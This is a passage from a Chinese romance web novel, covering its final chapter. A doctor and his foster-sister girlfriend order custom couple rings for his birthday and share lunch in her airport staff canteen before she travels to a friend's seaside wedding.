江问舟哦了声,语气淡淡:“看我心情?要不你求求我也行。” 齐眉微微一愣,猛然想起自己昨晚跟他聊天时的信息内容。 好家伙,报复!这人绝对是蓄意报复! 第86章【大结局】 第86章 大结局(捉虫)给我买个戒…… 齐眉年假结束,九月也过半了。 回城以后孙茂芸张罗着一家人聚餐,美名其曰:“今年是舟舟的第一个教师节吧?要庆祝一下。” 江问舟想说他早在申城时就开始带学生课了,可想了想,这话又没说。 倒是揶揄道:“中元节我们家是不是也没过,要不要也补一下?” “谁说中元节没过?”孙茂芸白眼他,“人家说中元节要躲起来,不要在外面逗留,别挡了底下的人出来放风,我们那天连散步都没去,不信你问西西。” 至于祖先,“我和你爸已经提前去拜过了,跟他们说了我们要出门,他们不会回来的。” 江问舟:“……”怎么说得跟真的一样:) 但大家还是去吃饭了,挑了一家新开的创意菜餐厅,味道一般般,不过环境不错,一家四口随便吃吃也可以。 吃饭的时候齐眉提起江问舟的生日:“我哥生日要到了耶,今年怎么过啊?” 孙茂芸想了一下,说没有啊,“今年有闰月,他生日还早着呢。” “阳历生日嘛,身份证上那个。”齐眉应道,“我看今年刚好是周末,我们吃大餐去吗?” 江问舟刚喝进嘴里的水差点就呛出来,一天到晚找机会聚餐说的就是他们家。 孙茂芸拿手机看一下日历,“你们俩去呗,我和你爸要去南山寺拜神。” 齐眉哦了声,扭头看向江问舟,“哥?” “休息。”江问舟有些无奈地点点头答应道。 等吃过饭回去,俩人端着果汁窝在沙发里看电影的时候,齐眉问他:“想要什么生日礼物呀?” 江问舟嘴里含着最后一口果汁,一时没立刻应答。 齐眉就猜:“键盘?游戏机?衣服?公文包?香水……香水不行,你上班不可以喷香水。” “衣服买了。”江问舟把果汁咽下去,这才应道,“你先让我想想。” 说着人一歪就靠在了她的身上,没等她伸手来推,便向下一滑。 江问舟躺在了齐眉腿上,抓过她的左手揉捏着她的指节。 摸到她中指上的戒指。 是之前他给她买的两枚金戒指中的一枚,现在被她光明正大地戴在了中指上。 当时她还说,要戴在食指上,被爸妈发现的话,就说是戴来招财的。 现在终于可以光明正大地戴在中指上了。 就像他们如今终于可以自由自在地在阳光下拥吻,不用担心会不会被熟人或者父母看见。 也不用再借着兄妹打闹的名义,才得以在他们面前展现片刻亲密。 江问舟心里一动,“给我买个戒指吧,西西。” 齐眉都已经开始在心里盘算如果买键盘的话,是定制一把独一无二的呢,还是买一把成品的,突然听到他说要戒指,不由得一愣。 “……啊、戒指啊?可以啊,可是、你怎么突然想要戒指啊?” 齐眉既好奇,又有些苦恼:“可是你平时要上手术,不是不能戴么?” “上手术的时候我就把它摘了收起来。”江问舟应道,捉起她的手,把她手心盖自己脸上,亲了亲,“好不好?我想要。” 声音温和得像是在撒娇,望着她的目光里甚至还有点央求的意味。 多难得,齐眉的心瞬间被他的语气和亮晶晶的目光击中,立刻点头应好。 “买一对的好不好?我们戴一样的。” “当然好。”江问舟望着她弯起眼睛,“这样最好了。” 接下来至少两个小时,俩人做的唯一一件事就是凑在一起看齐眉的手机。 从熟悉的上市品牌的官网和旗舰店,到购物软件根据浏览记录推送的不知名珠宝工作室的产品,最后属意的是上次孙茂芸带他们去定制过生日礼物的那家工作室的一款对戒。 很简单的K金光面戒圈,男款的戒面上刻着数字“1”至“12”,代表一年十二个月,女戒则是刻着“1”至“31”,代表每个月的三十一天。 此外男戒正中镶嵌了一颗矢车菊蓝宝石,女戒镶嵌的是鸽血红宝石,齐眉说是:“好一个红蓝出CP。” 江问舟失笑点头:“这对确实合适,很低调,但也有细节,内侧还可以刻字,挑哪个日期比较好?” 问完不等齐眉回答,他话音接着一转:“但也有点不完美,我们在一起是九月,九月只有三十天,这刻着31,多了一天,而且……” “怎么男戒没有红宝石的选项?红宝石才是你的生辰石……”江问舟说着说着就觉得这戒指也没这么好了,“要不再看看,应该还有类似的款式。” 齐眉想了想,“要不先问问能不能改?不行的话,我们直接在她家按照我们的想法定制一对,你觉得怎么样?” 主要是在她家定制过,觉得做工质量很不错,比再找另一家没光顾过的店要让人觉得放心一些。 江问舟觉得这样也好,于是点点头应好。 齐眉于是联系客服询问能不能修改,或者是重新定制,等待回复的时候,她忽然想到:“你不会是因为九月份是纪念日,又恰好是生日,所以才想要戒指的吧?” “百分之八十。”江问舟应道,还是玩着她的手指,声音懒洋洋的,“还有百分之二十是为了避免麻烦。” 齐眉一愣:“……怎么说?” “省得再有人问我有没有对象……” 他话刚说一半,齐眉心里一些不太美妙的回忆就被勾了上来。 顿时咬牙切齿:“怎么说,又有好心人给你介绍对象了?” 边说边把手从他爪子里抽回来,作势要拧他了。 还骂他:“你怎么天天招蜂引蝶的?!” 这种事肯定怪不到别人,有问题的一定他! 江问舟哭笑不得,连忙一把抓住她拧过来的手指,包在手心里,这才解释道:“没有,这不是为了以防万一么……” 说着便看见齐眉的眼睛里突然开始冒小火苗,嘴巴紧抿,下巴绷得紧紧的,眉心也皱巴得能夹死蚊子。 他叹口气,改口承认道:“是被病人家属问过两次,就是好奇,我说有对象了,人家还说,也是,好饭留不到隔夜。” 齐眉哼了声。 他赶紧尝试转移话题,继续道:“我上周五回去上课,跟新认识的教研室同事一起吃了个饭,听到有同事说暑期的时候,她女儿玩的游戏跟一个健身软件联名,要积累够里程才能兑换奖牌,要他帮忙做,他就从实验楼的楼梯走下来,结果在楼梯间那里不小心撞见药学院一位教授组里的博士跟带她的小导表白,问他能不能和自己在一起。” 哇!是瓜!没吃过的瓜! 齐眉的注意力果然就被带偏了,忙问道:“然后呢?同意了吗?” “当然没有,对方成家了的。”江问舟回答道,侧头看一眼她还拿在手里的手机。 屏幕上还显示着和定制工作室的客服沟通的信息页面,这会儿已经有了回复,对方给了她一个微信号,让她联系设计师聊具体的要求。 那就是可以改的意思了。 江问舟松口气,示意齐眉看信息,继续道:“对方拒绝她的时候,我们同事刚好误入现场,因为没什么人,所以他立刻被发现了,用他的话说就是,走吧,觉得不礼貌,但是不走,又很尴尬。” “后来呢?”齐眉一心二用,一面问他后续,一面回复客服信息。 “后来啊……”江问舟的语气有些忍俊不禁,“我们同事想了想,干脆装作什么都没看见,直接从他们俩旁边走过,还问他们,吃了吗,说完就继续下楼了。” 就是下楼的脚步从原本的不紧不慢,变成了一阵小跑,一直跑到了一楼,回头看一眼确认后面没人,这才松口气。 得出结论就是:“他说以后再也不走楼梯了。” 齐眉听到这里忍不住哈哈笑出两声来,接着将手机屏幕转到他面前,问道:“定制要求我这么写行不行?” 男款要红宝石,女款要蓝宝石,女款的戒面数字加上“31”。 江问舟看完点点头,她接着问:“里面的刻字呢,刻什么?” “我的刻你的生日,你的刻我的生日。”江问舟的语气恢复成懒散,顺便伸手摸了一把她的脸。 齐眉撇头躲开,继续跟设计师讨论戒指的细节。 但戒指的款式很简单,普普通通的白金光面戒圈上有一颗小小的宝石,宝石的切工也是经典百搭不出错的圆形切割,唯一能玩一下花样的就是数字的字体。 可是设计师用软件P了几个草图给她看过之后,觉得什么飘逸的艺术字体都没有板板正正那个好看,她很喜欢那种正式又沉稳的感觉,很适合江问舟。 等她好*不容易和设计师敲定所有细节,已经又过了快两个小时,周围静悄悄的,电影早已播完,江问舟也躺在她腿上睡着了。 他似乎睡得很沉,呼吸均匀,眉眼舒展,嘴角甚至还微微翘着,不知道是不是做了什么很好的梦。 齐眉一时舍不得叫醒他,便就让他这么睡着,自己则是打开了社交软件,开始漫无目的地刷网页。 江问舟觉得自己只睡了一会儿,估摸着也就十几分钟,最多半个小时,于是睁眼第一句话就是问齐眉:“订单下好了?” “……诶?你醒了?”齐眉突然听见他的声音,愣了一下才反应过来,随即点点头,“已经说好了,周末我们就去取,说这款戒指比较简单,所以工期比较短。” 江问舟抬手用手背挡住眼睛打了个哈欠,“难怪这么快就搞定了……” “哪里快了。”齐眉笑着戳戳他的脸,半真半假地吐槽道,“你一个吃现成的怎么会知道做饭的有多辛苦,我可是和设计师商量了两个多小时!” 两个多小时?江问舟一愣,他睡了这么久? 齐眉戳着他的脸继续道:“我跟你说,给你买了戒指,你要是不好好戴着,再给我在外头惹些花花草草回来,我要你好看。” 真是要被冤死了,江问舟顿时就被气笑:“我什么时候招惹过?还再,我一次都没有,哪来的再?你少让我当窦娥,我胆子小,会被吓死的。” 齐眉眼睛一转:“……我不管,反正最终解释权归我。” 她捏着江问舟的耳朵,继续道:“还有,不准弄丢,要是弄丢了,哼哼。” 语气是那种故意做出来的凶巴巴,江问舟顿时失笑,一边拉过她的手,一边问道:“要是真的不小心弄丢了,怎么办?” 这齐眉还真是没想好,东西都还没见到实物呢,怎么可能就去想弄丢的事了。 她憋了一会儿,哼了声:“要真是丢了……你、你洗一个月的厕所!” 江问舟这下是真的笑出声来,好家伙,临时想的惩罚果然……不算惩罚。 “还真是狮子小开口。”他忍不住揶揄道。 齐眉被他取笑了,脸有些发热,啧了一声,伸手使劲一推他:“……起开!我腿都被你睡麻了!” 是真的麻了,没力气站起来那种,既软又痛,像有很多蚂蚁在皮肤里钻来钻去。 江问舟连忙起来,帮她揉腿,听她先是怪叫两声,接着说:“我国庆要去姚敏的婚礼哦,你去不去?” 江问舟动作一顿:“……几号?” “三号,但我们二号就得到了,要帮忙做准备。”齐眉回答道,有些期待地看着他。 江问舟粗略算了一下自己的排班,摇摇头:“三号应该是我值班,我看看能不能换到班吧。” “肯定换不到,假期中间的班最难换了,你还是本地的。”齐眉嘟囔道。 随即又哼了声:“你不去也好,我们可以自己玩,就不用管你了,省得夹个男的在中间我们还会放不开。” 她斜着眼乜一下江问舟:“我要去玩咯,去看小帅哥。” 江问舟真是被这人气笑,用力揪了一把她的大腿:“怎么,只许州官放火?” 话音刚落,齐眉就尖叫着被他迅速扑倒在沙发上。 家里没有孩子,小猫小狗也被接走的好处就是,他们可以随时随地亲热,解锁家里的每一个地点。 ————— 江问舟国庆有两天班要值,中间三号那一天根本找不到人换。 “交情也没好到那份上,我问一次没人有空就算了,宋主任倒是乐意帮忙,可他四号值班。” 换了等于没换,他要是三号参加完婚礼漏夜赶回来,未免太赶,所以思来想去,只能齐眉自己去。 齐眉听了先是有些得意地笑:“我跟我们组其他点位的同事分别换了两个班,那样我就可以二号出发,五号回来了,也不耽误我八号值班。” 太完美了!还得是她!!! 她冲江问舟抛了个得意的眼神:“不用羡慕我哦。” 不等江问舟说什么,她又立刻伸手捧住他的脸,凑上前亲了亲:“我在外面回想你的,你也要想我。” 江问舟闭着眼让她亲,嘴角是强忍都忍不住的笑意。 “……好,会想你的。”他顿了顿,接着问,“店里的事都安排好了?” 齐眉靠着他,把自己的手和他的放在一起,端详着刚刚上手的情侣对戒,嗯嗯应了两声。 “都说好啦,佟哥和乐乐辛苦一点,找了个音乐学院的学生来做小时工,宋主任家侄子要回去了嘛,明天我们带他一块儿吃个饭,你也去?” 经过两个多月的学徒生涯,在佟林他们每天见缝插针的劝解下,吃过苦,意识到想当好一名调酒师的小宋同学原本坚定的退学心总算被打消,愿意回去上学准备高考了。 这个消息让所有人都松了口气。 “你都不知道,我做噩梦都是梦见他不肯回去,死都要退学,然后宋主任来找我们赔钱。”齐眉嘟囔着吐槽道。 江问舟失笑:“不至于不至于,宋主任不至于这么不讲理。” “他是讲理,小宋他爸妈可未必。”齐眉撇撇嘴,“这不就跟交了钱就盼着病人完全治好出院的家属一样?给了钱的,希望大大的,结果你现在跟我说治不了?” 天都塌了好吗!不找你麻烦找谁的? 江问舟无奈地笑笑,没办法反驳她这话,甚至觉得很愧疚:“下次我会尽量推掉,这次麻烦你和嫂子给我善后了,对不住。” 齐眉闻言却是一愣,随即哎呀一声反应过来,急忙直起身去捧他的脸。 “不是,不是这样的,我没有抱怨你的意思,哎呀……” 她很着急,说话有些语无伦次,甚至都没办法立刻将心里的想法整理成通顺的话说出来。 只能说:“不麻烦的,没有呀,我们还赚钱了呢,有钱不赚才傻呢,你说是不是?” 江问舟被她的反应逗乐,笑着点点头,将她一把拉进怀里,抱着她拍拍她的背,解释道:“我知道,只是……本来你们不用麻烦这一趟的,几万块,不是什么很多的钱,对吧?” 却要费很多劲,自古以来,不管是哪个领域的老师,都很不好当。 所以他才觉得麻烦了齐眉和任清葭,尤其是任清葭他们,赚到了这一笔学费是真,他欠了大家人情也是真。 齐眉抬手摸摸他的脸,眨着眼睛道:“可是,我觉得朋友和亲人之间,就该这样互相麻烦才对,对方越是重要,我越要麻烦他,他帮我,以后我也帮他,我们的关系和情分才会越来越厚。” 而且,“我们是家人啊,家人不就是互相帮忙解决问题的吗,那我问你,要是羽丹、嗯,就是我同事,她有需要去你们医院看病,想托你介绍医生,或者帮忙挂个专家号,来跟我说,我想着大家同事一场关系也很好就跟你开口了,你帮不帮忙?那你帮了,我是不是也得跟你讲抱歉给你添麻烦了?” 她撇撇嘴,语气有些委屈:“我们这么生分吗,你还是不是我哥了?” 江问舟瞬间哑然。 张口就想说抱歉,话都到嘴边了,又赶紧硬生生咽了回去。 半晌才讪讪地道歉:“我错了,以后不说了。” “这才乖。”齐眉笑嘻嘻地亲了他一下,摸摸他的脸。 他们离得极近,江问舟等数清她每一根睫毛,在她的眼睛里看到自己小小的影子。 有时候他会觉得自己就是那个站在地上仰脸望着天,等着天上掉馅饼的人,在她盛大厚重的爱意里渺小如同沧海一粟。 他搂在齐眉腰上的胳膊猛然一缩。 齐眉直接跌进他怀里,疑惑地诶了声:“怎么啦?” 她觉得这人的情绪好像突然有点不太对劲。 似乎一下就变得有些低落,但又不像不高兴那种低落。 “……没怎么。”江问舟低头,下巴压上她的肩膀,有些静静地发呆。 过了没两分钟,突然叫她的名字:“西西。” 齐眉以为他有事跟自己说,嗯了声,等他继续说。 结果他又叫了她一声:“西西。” 齐眉嗯的音量拉高了一点,表示自己有在听,可以继续讲正事了。 但她听到的仍然是:“西西。” 齐眉:“???” “……到底什么事?”她有些按捺不住地问道。 江问舟却说没有,只是觉得:“你的名字好听,我想喊喊。” 齐眉一向觉得自己的名字普通,也没什么特色,听到他的话便忍不住问道:“怎么个好听法?” 东南西北的西,能好听到哪里去? 其实江问舟也说不上来,只能说实话:“是你的名字我都觉得好听。” 齐眉嘻嘻笑了一下,揶揄道:“我要是叫阿猫阿狗,你也觉得好听?” 江问舟这下沉默了,半晌才自觉委婉地道:“年年和金金的名字也不错,你觉得呢?” 要不你借一个吧! 齐眉哈哈笑着扑倒在他怀里,两条胳膊紧紧圈住他的脖颈,脸贴着脸,连鬓角都蹭在一起。 然后贴着他的耳朵跟他说悄悄话:“江问舟,你的名字也好听,最好听。” 声音故意夹起来,听着像撒娇,江问舟只觉得自己的耳朵立刻便热起来。 齐眉察觉他的身体在这句话之后似乎逐渐紧绷,耳边的呼吸变得沉重,还愣了一下。 没等她反应过来,人就被江问舟搂着背拖了起来。 他掐着齐眉的腰,拍拍她的腿,她便习惯性地往他身上一挂。 被抱回房间的路上,她突然叹口气,问道:“你说,金金和年年再在村里住久一点,还会认得我们吗?” “它们又不傻。”江问舟笑了声,将她压倒在床铺上。 “窗帘!窗帘没拉!”她嚷嚷起来。 江问舟一面爬起来去拉窗帘,一面表示不满:“马上就要年底了,趁购物节换个电动的吧?” 齐眉想也不想:“没钱,不换。” 这当然不可能,江问舟虽然也不太清楚家里到底多少存款,但他从自己的工资角度去想,觉得家里没理由连一个电动窗帘都换不起。 于是他笑着拱拱齐眉的脖子,也跟她开玩笑:“求求你了,西西,你也不想我有被别人看光的风险吧?” 齐眉痒得直缩脖子,忍着笑一本正经地点头:“那就换,我的私人财产可不能让别人觊觎。” 说完就把脚翘上他的腰,仰头接住他的吻。 卧室里的气氛逐渐变得缱绻又黏稠。 过了两天,齐眉和任清葭特地店休一天,一来为小宋同学践行,二来也是趁机请店里大家聚个餐。 江问舟和陆阳当然也来了,加上店里的采购大主管和两位咖啡师,刚刚好凑满一桌。 吃饭的地方就是在陆阳自己管的一家酒店,进门的时候他跟江问舟勾肩搭背的问道:“怎么样,到时候在这儿摆酒是不是也挺好?” 他手指向上指了指,“楼上有两个很大的宴会厅,开个三五十桌没问题的。” 江问舟点点头,“你跟嫂子……终于定好摆酒的日子了?” 上个月七夕节,当天正好是工作日,俩人一大早就出门去民政局排队,结果和他们一样打算的人多得不得了,一直到快中午才拿到证。 “是啊是啊,明年过了年呗,天气不冷不热的时候穿婚纱舒服,到时候你和西西也可以在这边。”陆阳笑呵呵地答应道。 江问舟听了刚要应好,就见走在前面的齐眉突然回头,认真问道:“场地费打不打折的?” 陆阳手一挥,大方表示:“自家人讲这些,免费给你们用。” 还有这种好事?齐眉立刻松开任清葭的胳膊,掏出手机,点开录音,认真对他道:“你再说一次,我录一下。” 大家立刻便笑起来,说她还真是谨慎。 吃饭的时候,大家五花八门的话题聊了一通,最后聊得最久的就是交代小宋同学的话。 “好好复习啊,高考完了再来,这次就不收你学费了,还给你开工资,两个月下来估计能攒个一万块了,存起来以后这就是你的启动资金。” “争取考考农大?陵城那边的农大,还有容城这边容大和容科大都有农学院,食品专业可以,大专的话我记得有些学校是有酿酒工艺这个专业的,到时候可以看看。” “到时候暑假还可以来啦,还有得学呢你小子。” “上大学了可以好好想想以后是要开店,还是当调酒师,要不要去打比赛,离你参加工作还有好几年,这几年里可以多看看多想想,不用那么着急做决定,这个市场最好的时候早就过去了。” 小宋同学边听边点头,江问舟看着他的神情,见他没了刚来时那种随便听听的敷衍态度,心里松口气。 小孩么,脑筋能转过来,就什么都好办了。 送走小宋同学,齐眉进入几天上班的状态,早上这边交了班就去另一边接班,好在不缺地方住,几天不回家倒也问题不大。 国庆节当天江问舟倒是不上班,一大早就从村里回城,给她把行李箱送到机场,同时带来的还有她交代的几盒本地特产。 到的时候正好是吃午饭的时间,医疗点里只有齐眉一个人,搭班的同事先去吃饭了。 她问江问舟要不要吃了午饭再回去,“隔壁就是肯德基,前面还有别的连锁快餐,要不你去看看,顺便帮我带个饭?” 江问舟还没来得及答应,去吃饭的搭班护士回来了。 看见江问舟在这儿,还见到个行李箱,起初以为是不舒服的旅客,可刚跟齐眉打了声招呼,就听她接着跟对方说:“正好,要不我带你去吃我们单位食堂啊?” 江问舟本来想说隔壁肯德基就挺好,闻言呼吸一顿,点点头嗯了声。 去单位食堂啊…… “阿眉,这是……男朋友吗?”搭班的同事这时反应了过来,好奇地八卦道。 齐眉笑眯眯地点点头,简单说了句:“我明天要出门,他来给我送行李。” 说完摸出饭卡,示意江问舟:“走,我们去吃饭。” 江问舟应了声好,转身率先往门外走,走到门口,手往后一捞,恰好捉住齐眉的手。 齐眉跟上他,脚步轻盈得不由自主地蹦了两下,笑嘻嘻地问他:“我不在家,你准备怎么过国庆节呀?” “回村里种地。”江问舟一本正经地应道。 齐眉啊了一声,刚想问这时候种什么啊,就听他继续道:“把你照片埋土里,到时候长出一个齐西西,那样不管你在不在家,都有西西陪我了。” 齐眉:“……”这对吗??? 被她捶了两下,江问舟才笑着说实话:“妈说要种些香菜小葱之类的,以后家里就不用买了,再种些小胡萝卜,你不是爱吃沙拉么,胡萝卜有营养。” 齐眉笑嘻嘻地应:“香菜我也爱吃,小葱煎蛋我也爱吃。” “懂了,给我们家大馋丫头多种点。”江问舟逗她,还侧头碰了一下她的脑袋。 齐眉恼得直用指甲抠他胳膊。 江问舟从来没来过机场的员工餐厅,“要不是你带着,我估计都不会注意到这里还有家餐厅。” 餐厅里窗明几净,也很安静,原木色的四人位餐桌餐椅,每隔两张桌子就有一盏高高的落地灯,灯杆在顶端开叉,分别向四个方向垂下一盏灯,像一颗枝桠弯下来的树,还挺有艺术气氛。 正值中午饭点,餐厅里虽然没坐满,但也相当热闹,到处都是机场的职工制服,齐眉见他有点好奇似的,主动跟他介绍,这样的是地勤,那样的是维修,一边说一边带着他往窗口走。 透过玻璃橱窗往里看,可以见到琳琅满目的餐食菜品,粥粉面饭一应俱全,还有面点窗口,一排过去都是整整齐齐的包子花卷一类。 “一会儿买点包子拿回家,你们明天吃早饭,怎么样?”齐眉提议道。 江问舟应了声好,还没来得及说什么,就见旁边有打量的目光投过来。 他抬眼望过去,看见两位和他们年纪相仿的女士,犹豫了一下,还是冲对方客气笑笑,顺便碰了一下齐眉的手肘。 齐眉从看着菜牌纠结吃什么这件事中回过神,看见同事,立刻笑眯眯地同对方打招呼,客气道:“你也现在才来吃饭啊?” 对方这才好奇地问:“男朋友啊?” 齐眉笑着应了声是,扭头问江问舟:“我想去吃麻辣烫,你吃什么呀?” “盖饭吧。”江问舟看一眼菜单,“再要一份冰镇绿豆沙。” 齐眉应好,让他先陪自己去点麻辣烫。 结果这人麻辣烫一丝辣都不要,点的还几乎全素,之所以是几乎,是因为还加了鹌鹑蛋。 “又是萝卜豆腐又是红菜蘑菇西蓝花,能吃饱么?”江问舟看着她夹的菜,忍不住直皱眉。 “我乐意。”齐眉应了声,又嘟囔,“再吃我的旧裙子就要穿不进去了,那可不行。” 江问舟都不知道说什么才好,叹了口气,戳戳她胳膊:“齐老板,我要加菜,来个炸鸡翅和糖醋排骨,你不吃肉我帮你吃。” 齐眉眨眨眼,扭头逗他:“只吃肉不吃菜,不怕早上起来上厕所艰难吗?” “那你别管。”江问舟瞪她,“吃饭时间不要说这种东西。” 齐眉哈哈笑着靠在他胳膊上,还没来得及说什么,就听到一旁传来一声笑嘻嘻的:“阿眉~” 她扭头一看,是航医的同事,忙站直了跟对方打招呼。 对方看一眼她,又看一眼江问舟,对她眨眨眼睛道:“群里有人说你今天带男朋友来上班,我还以为他们开玩笑,原来是真的啊?” 齐眉一囧:“……怎么可能,谁在胡说八道!” 这是怎么发酵出来的流言,听听这叫什么话! 她赶忙解释:“我明天要直接出远门,他来给我送行李啦,刚好是饭点才过来一起吃个饭。” 同事听了直乐:“知道知道,大家开玩笑啦,这又不是什么旅游景点,谁会那么想不开带家属一起来。” 接着跟她说:“我听说昨天你们接了个在机上分娩的?” 齐眉点点头,有些哭笑不得地叹气:“八个月了,还跑出来看演唱会,结果上厕所出来不小心崴脚一摔,早产了。” 简简单单的一句话,其中包含多少惊心动魄的细节,不仅同事听懂了,江问舟也听明白了,忍不住嘴角一抽。 聊了几句,齐眉的麻辣烫煮好了,江问舟替她接过端在手里,听她跟同事道别,一道往买盖饭的窗口走。 要了份尖椒肉丝盖饭,再去拿炸鸡翅和糖醋排骨,找地方坐下之后,江问舟一面问她姚敏的婚礼请了多少人,一面不动声色的往她碗里夹排骨。 等齐眉反应过来,碗里的豆腐已经沾上了糖醋排骨酱汁的一抹微红。 她皱着鼻子嗔了对面一眼。 江问舟不以为意,甚至用筷尾轻轻叩了一下她的碗沿:“快吃饭,万一一会儿来活了怎么办?” “呸呸呸,你这个乌鸦嘴。”齐眉立刻啧声反驳,又说,“不可以敲碗,我又不是乞丐!” 她自己敲的时候就不这么说。江问舟斜睨她一眼。 还是没来得及说什么,同事就过来打招呼了,不用问,肯定是因为好奇江问舟。 有自来熟的还打听他:“你跟阿眉是怎么认识的啊?” “从小就认识,我爸妈是她干爸干妈。”江问舟温声应道,给对面的齐眉再夹一块鸡翅。 对方恍然大悟:“原来是青梅竹马了。” 多么简单、直接,又特别中肯的点评! 江问舟闻言笑起来,点点头,听对方接着问他是做什么工作,便笑着应道:“在容医大附一院。” “医生?哪个科啊?”同事看一眼齐眉,调侃道,“不会是在急诊吧?” 江问舟失笑,摇摇头:“心外,急诊对我来说还是难了点。” “心外哪里比急诊简单了。”同事似乎有些惊讶,“你们还是同行呢……” 说完又看一眼齐眉,问道:“你们不会还是同学吧?” “校友啦。”齐眉这时应道,指指江问舟,脸上笑眯眯的,“这是我学长哦。” 同事顿时就来劲了,哇哦地怪叫一声:“你们不会是约好要考同一所大学的吧?” 江问舟闻言看向齐眉。 齐眉摇摇头,一边把鸡翅的骨头吐掉,一边应道:“当然不是了,是……巧合而已啦。” 说完迅速将话题扯开,问对方国庆有没有打算去哪儿玩。 这一聊就聊到了他们都吃完饭,同事送完餐盘就先走了,齐眉和江问舟转头去窗口买面包。 边走她还边松口气,江问舟忍不住逗她:“我以后都不来了吧?你看来一趟就让你被同事们看热闹了。” “把你的手从你的良心上放下来。”齐眉扭头乜他。 江问舟顿时失笑,她哼了声,小声道:“看热闹就看呗,又不是见不得人,我才不怕。” 再说了,同一个热闹看多了就没意思了,多来才好。 她撇撇嘴,伸出手指去钩江问舟的。 江问舟笑着捉住她的手,勾住她戴着戒指的那根手指,温声嘱咐道:“出去要注意安全,登机落地,上车到店,记得给我发个信息。” “那边早晚温差大,给你多拿了一件外套,记得穿好,别回来就感冒了。” “别胡吃海塞,吃出肠胃炎来不划算,多拍点照片给我们看看……” 他说一句,齐眉就乖巧地点一下头,应声好,一点都不觉得他啰嗦。 就这么一直走到窗口前,江问舟停了下来。 齐眉这才扭头笑嘻嘻地问:“明早吃什么呀?” 江问舟眨眨眼:“我要是说都行……” 话没说完,齐眉就冲他挥了挥拳头:“揍你哦。” 江问舟笑着改口:“红豆包、玉米卷和肉松卷各来三个就够了,家里就几个人,也吃不了多少。” 齐眉让窗口的阿姨帮忙拣一下他要的几样,顺便问:“今天生云吞还有没有呀?还有的话也给我拿两盒,谢谢。” 阿姨答应了声,把拣好的面包递出来,又按了金额让她刷卡,这才转头去装她要的云吞。 “一斤云吞够吃了吧?”她转头问江问舟。 江问舟点头说够了,伸手接过她递过来的袋子,扭头看她一眼,似乎有话要说,但又没有讲,只用力捏了捏她的手指。 齐眉抬眼望向他,多少觉得有些遗憾。 这要不是在单位,在机场这种人来人往的地方就好了…… “西西。” 江问舟的声音在耳边响起,她立刻回过神,“怎么啦?” “没怎么。”江问舟笑着摇摇头,伸手抱了她一下,蹭蹭她的脸,叹口气,“早点回来,我在家等你。” 齐眉都不顾上看左右有没有人主意到他们,只觉得心里一软,情不自禁地回抱住他。 闷声闷气地问:“你是不是不想我去,所以才这样?” “怎么会,那是你好朋友的婚礼,于情于理你都不该缺席,只不过……”江问舟失笑,轻轻吻了一下她的鬓角,“别忘了回家的路。” 齐眉一面觉得他把话说得好严重,不知道还以为她要去干嘛,要去十年八年的呢。 一面又止不住眼底里的酸痒,用力眨了两下眼睛,才哼声道:“谁叫你不能一起去?等着吧,我玩够就回来了。” 江问舟笑着应好,拍拍她的背,这才松开她。 齐眉站在从食堂出来往医务室回去的路口,朝着另一边看过去,看着江问舟一步三回头的彻底走远,再也看不见背影了,这才转身继续往回走。 心底忽然就有种空落落的感觉。 她觉得自己越来越舍不得江问舟了。 但也确实很期待和蒋乐亭她们的见面,第二天一早交完班,提着行李箱就一溜烟跑了。 托运好行李,搭上今天从容城飞往姚敏婆家所在地的第二班航班。 飞机在午后落地,来接她的是蒋乐亭和徐丹若,她们俩是昨天就到了。 去酒店的路上,徐丹若兴致勃勃地跟齐眉说起她和蒋乐亭做的攻略,去哪儿吃海鲜比较好,哪儿的景色比较出片,安排得妥妥当当。 当然也满满当当,行程满到齐眉有点害怕:“就几天时间,我们去得完这么多地方吗?” 徐丹若满不在乎地挥挥手:“计划就是用来被打破的,去不了的地方就砍掉呗,你们回头看看有哪些地方是觉得一定得去的,咱们到时候优先去。” “海边!”开车的蒋乐亭立刻道,“我要去喂海鸥!” 这是一座近邻渤海的北方城市,气候宜人,风光优美,这个时候正是来这边旅游的黄金时间,景色又好,还有丰富的海鲜随便吃。 “姚敏他们这次婚宴就是在海鲜酒楼办的,她说明天的菜基本是海鲜,龙虾鲍鱼海参全都有。”徐丹若期待地道,“我准备一会儿不吃晚饭了,就等明天那顿。” “……你有病啊。”蒋乐亭无语,“又不是去吃自助,那么多人,你好意思猛猛吃,形象不要了?” 徐丹若噎了一下:“……我乐意,你别管!” “伴娘是谁啊?”齐眉连忙问道。 “她表姐和堂妹。”徐丹若回答道,“本来是想叫我,但我那会儿不太敢确定是不是一定能来,没敢答应。” 三人一路聊着天,说着从八月份那次见面分开后各自遇到的事。 齐眉犹豫片刻,还是跟她们说起了她和江问舟跟家里坦白关系的事。 蒋乐亭和徐丹若听得都傻眼了:“……什么?你意思是……你们以前是瞒着家里在一起的?” “这特么是怎么瞒得住的?爱和咳嗽、贫穷是没法掩盖的,难道这话不是真理?” “你们那时候……寒暑假回家,同住一个屋檐下,是怎么做到不被家长发现的?” 真是太匪夷所思了,家长这得多粗心,才没发现他们的不对劲? 不应该啊,听齐眉一贯以来的描述,她干爸干妈,也就是江问舟的亲爸亲妈,是很关心他们的,没理由一点蛛丝马迹都没发现吧? 齐眉讪讪,努努嘴有些惭愧地道:“家里人太相信我们了,觉得我们打打闹闹是兄妹之间的亲近。” 听的俩人先是对她发出啧啧啧的指指点点,接着又开始讨论兄妹、姐弟之间长大以后怎么相处才最合适,因为有的嫂子或者弟妹真的会介意自己的配偶和妹妹或者姐姐相处亲密。 这个话题还没说完,酒店就到了。 姚敏和父母,还有来参加婚礼的亲友都住在这家酒店,双方家里给从外地过来的亲友都安排了住宿。 齐眉和蒋乐亭还有徐丹若住一间房,她听着她们俩争谁跟她睡,只觉得自己简直就是妲己。 忍不住翻了个白眼:“我还在这儿呢,到底有没有人在意我的感受啊?!” “我拒绝!”她双手在胸前比了个大大的叉,后退一步,“我不跟我哥以外的人睡!” “哦哟,你还怪专一忠贞的咧。”徐丹若乜她,伸手捏她的痒痒肉,最后几个人打闹着倒在床上。 闹了没一会儿,听见一阵笃笃的敲门声。 “……快去开门啦。”齐眉咽下笑声,推了一把蒋乐亭,跟着坐起来。 她跟在蒋乐亭后面去开门,看见门外站着一个陌生的女孩子。 对方看见她,似乎愣了一下,目光先是惊讶,随即有些不好意思地转开视线,对蒋乐亭道:“乐亭姐,我姐让我来问你们一会儿中午跟不跟我们一起吃饭。” 蒋乐亭先给齐眉介绍这是姚敏的堂妹,然后问她和徐丹若:“去吗?” “去哪儿吃啊你们?”徐丹若反问道。 说是就在酒店吃,徐丹若立刻就表示:“可是我更想去吃饺子中的爱马仕。” 